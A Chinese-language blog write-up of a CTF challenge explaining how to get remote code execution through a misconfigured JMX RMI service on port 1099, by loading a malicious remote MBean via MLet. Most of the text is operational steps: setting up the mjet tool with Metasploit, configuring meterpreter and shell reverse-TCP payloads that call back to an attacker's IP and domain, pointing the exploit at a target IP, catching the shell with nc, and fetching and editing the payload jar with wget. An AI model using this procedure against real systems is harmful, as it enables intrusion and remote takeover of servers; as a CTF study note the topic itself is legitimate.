JMX RMI Exploit 实例
0x00
前几天的阿里 CTF 决赛中,Linux 渗透出了一道 JXM RMI 远程代码执行的题目。由于我太渣,所以没有做出来QWQ。赛后咨询了一下官方人员这道题目的 Writeup,做一个笔记。
1099端口原本对应的服务为 Apache ActiveMQ 对 JMX 的支持,但是由于配置不当,导致攻击者可以通过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ,即可以远程执行任意代码。当然,这个 JMX 的利用方法不仅仅在 ActiveMQ 上能够利用,在很多服务支持 JMX 的情况下其实也能够适用。
以上文字引用某官方人员的解释。
在 Github 上有一个关于本漏洞的 exp,叫做 mjet,我们可以利用它来配合 metasploit 进行攻击。
不过如果你不喜欢 metasploit 的话,那么可以忽略下面的这一段。
0x01
下载 mjet,README:
Installation (with the github version of Metasploit)
Copy the "MBean" folder to "data/java/metasploit"
Copy java_mlet_server.rb to "modules/exploits/multi/misc/"
根据这里的提示将这个模块集成到 msf 里面,接着运行 msf,载入模块。
use exploit/multi/misc/java_mlet_server
随你喜欢的设置 payload。
set payload java/meterpreter/reverse_tcp
set LHOST 103.238.227.183
set LPORT 8976
接着输入 run
跑起来。这时候会显示一个 listen 的 URL,这里的 URL 就是我们的 Evil MBean 的地址。复制这个地址作为 mjet 的参数,运行:
java -jar mjet.jar -p 1099 -u http://103.238.227.183:8080/o5jSTI5rEWJw6Is/ -t 42.96.150.237
接着 msf 就拿到 session 了。
0x02
不过 msf 真的太重了,所以完全可以独立出来。利用 msf 生成 payload 之后,我们可以把它下载下来。考虑到本来 java 的 payload 就不多,能用的也就那几个,所以我用 java/shell_reverse_tcp
生成一个 evil 的 jar 包,还有 MBean 的地址:
set payload java/shell_reverse_tcp
set LHOST ricter.me
set LPORT 23333
run
生成 payload 之后直接下载到一个文件夹,关闭 msf。
其中 index.html 是我们的 MBean 内容。
0x03
nc 监听本地的 23333 端口,然后运行:
java -jar mjet.jar -p 1099 -u http://static.ricter.me/jmx/ -t 42.96.150.237
http://static.ricter.me/jmx/ 是存放的 evil MBean 和 jar 包的地址。
收到反弹的 shell:
0x04
我们可以很容易的修改 IP 和监听的端口,然后适配你自己的环境。
wget static.ricter.me/jmx/HjmbztqT.jar
unzip HjmbztqT.jar
vi metasploit.dat
之后重新打包压缩为 zip,然后修改后缀名为 jar。